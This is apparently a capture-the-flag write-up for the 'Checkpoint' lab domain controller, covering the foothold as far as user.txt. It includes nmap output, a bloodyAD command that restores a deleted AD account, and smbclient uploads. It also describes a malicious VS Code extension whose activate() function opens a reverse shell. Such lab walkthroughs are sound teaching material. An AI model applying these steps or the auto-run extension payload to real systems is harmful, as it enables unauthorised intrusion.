Checkpoint is a Medium Windows machine, a domain controller for checkpoint.htb. I started with one low-privileged domain account, alex.turner, and the path to the first shell goes through three things that look harmless on their own:
alex.turner can write to a deleted user object in the AD recycle bin, so I restored the account mark.davies.
mark.davies can write to DevDrop, an SMB share meant for approved VS Code extensions.
A malicious extension dropped on that share gets installed and run by ryan.brooks, which returns a shell as that user.
This post covers the chain from the first scan to user.txt.
1. Reconnaissance
A full port scan, then a service scan on the ports it found:
┌──(kali㉿kali)-[~] └─$ sudo nmap -p- 10.129.32.183 -T4 PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49664/tcp open unknown ...
┌──(kali㉿kali)-[~] └─$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.129.32.183 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-20 17:36:01Z) 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Kerberos, LDAP, SMB, WinRM and ADWS on one host make this a domain controller, named DC01 in the domain checkpoint.htb. SMB signing is required, which rules out relay attacks. The clock skew of almost seven hours would matter for any Kerberos work, but I stayed on SMB and LDAP.
2. SMB and User Enumeration
I authenticated to SMB with the one account I had, alex.turner / Checkpoint2024!, and listed the shares:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share DevDrop Disk VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share VMBackups Disk
DevDrop is the odd one. Its comment says it collects approved .vsix packages for VS Code 1.118.0. If something on the box installs whatever lands there, that is code execution. I did not have write access yet, so I moved on to the users:
Most of this is what an ordinary user gets. Two entries are not:
CN=Deleted Objects has a writable DACL.
A deleted user, Mark Davies, shows up inside it with WRITE permission. The \0ADEL:<guid> suffix is how AD marks a deleted object.
Write access on a deleted object is enough to bring it back, and bloodyAD set restore does exactly that:
1 2 3 4 5 6
┌──(kali㉿kali)-[~] └─$ bloodyad --host 10.129.32.183 \ -u alex.turner \ -p 'Checkpoint2024!' \ set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb" [+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
Mark is back as a normal account under OU=Employees.
My Notion notes jump straight from the restore to authenticating as mark.davies on the DevDrop share, without recording how I obtained his password. I’m leaving that gap marked rather than guessing at a step I don’t have evidence for.
4. Writing to DevDrop
As mark.davies, I connected to DevDrop and tested whether it was writable by uploading an empty file:
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[~] └─$ smbclient //10.129.32.183/DevDrop -U mark.davies smb: \> ls . D 0 Tue May 26 17:45:01 2026 .. D 0 Sat May 9 10:42:27 2026
smb: \> put test.txt putting file test.txt as \test.txt (0.0 kB/s) (average 0.0 kB/s) smb: \> ls . D 0 Sat Jun 20 15:37:28 2026 .. D 0 Sat May 9 10:42:27 2026 test.txt A 0 Sat Jun 20 15:37:28 2026
The share is empty and writable. The comment says it is for “approved” extensions, but the share has no mechanism that actually checks that. Anything I put there is whatever I built.
5. A Malicious VS Code Extension
A .vsix file is just a zip archive with a specific layout: a package.json manifest, the extension’s JavaScript entry point, and a [Content_Types].xml describing the archive’s contents. Two manifest fields decide whether the extension runs on its own:
engines.vscode must be compatible with the installed VS Code version. The share’s comment names 1.118.0, so I targeted a compatible range.
activationEvents controls when VS Code calls the extension’s activate() function. Setting it to fire unconditionally on startup means the entry point runs the moment the extension loads, with no user action beyond having it installed.
The entry point’s activate() function used Node’s child_process module to run a reverse shell command on activation, packaged the manifest and script into a zip with the extension header .vsix requires, and the result was something that looked, to an automated “approved extension” pipeline, like any other package.
I uploaded it to DevDrop:
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[~] └─$ smbclient //10.129.32.240/DevDrop -U mark.davies Password for [WORKGROUP\mark.davies]: smb: \> put malext.vsix putting file malext.vsix as \malext.vsix (2.3 kB/s) (average 2.3 kB/s) smb: \> put malext_copy.vsix putting file malext_copy.vsix as \malext_copy.vsix (4.4 kB/s) (average 3.0 kB/s) smb: \> ls . D 0 Sat Jun 20 17:23:52 2026 .. D 0 Sat May 9 10:42:27 2026 malext.vsix A 2334 Sat Jun 20 17:16:58 2026 malext_copy.vsix A 2342 Sat Jun 20 17:23:52 2026
I uploaded it twice under different names, since nothing confirmed whether or when a background process would pick it up.
6. Catching the Shell
With a listener running and the extension sitting on the share, a reverse shell connected as ryan.brooks:
PS C:\Program Files\Microsoft VS Code> type C:\Users\ryan.brooks\Desktop\user.txt 88f9029a4f1d7c6e95de7b6b211a764b
The working directory, C:\Program Files\Microsoft VS Code, confirms what installed the extension: a VS Code instance running under ryan.brooks, watching DevDrop and installing whatever lands there.
Attack Chain (so far)
text
1 2 3 4 5 6 7 8 9
alex.turner (known creds) ↓ bloodyAD get writable → CN=Deleted Objects DACL: WRITE restore Mark Davies from the recycle bin ↓ (gap: how mark.davies' password was obtained is not in my notes) mark.davies → write access on \\DC01\DevDrop ↓ malicious .vsix extension, activationEvents fires on load VS Code under ryan.brooks installs and runs it ↓ shell as ryan.brooks → user.txt
Where This Post Stops
My notes end at user.txt as ryan.brooks. I haven’t reconstructed the path to root.txt yet, and I’m not going to fill that in with a guess, so this writeup covers the foothold only. I’ll follow up with the privilege escalation once I’ve worked it back out and have real command output to show.
Key Takeaways (so far)
The AD recycle bin is not a dead end. A principal with write access to a deleted object’s container can restore it, bringing back a full account with whatever group memberships and permissions it had before deletion.
An SMB share whose access control depends on an informal convention, “this is only for approved packages”, is no control at all unless something actually enforces it. DevDrop had no validation step; it was a plain writable share with a comment attached.
A workstation that auto-installs anything dropped into a shared folder is a code execution primitive for whoever can write to that folder, regardless of how that folder is labeled.
Have a nice day, and see you in the next writeup! Any feedback in the comments section is very appreciated. 🙏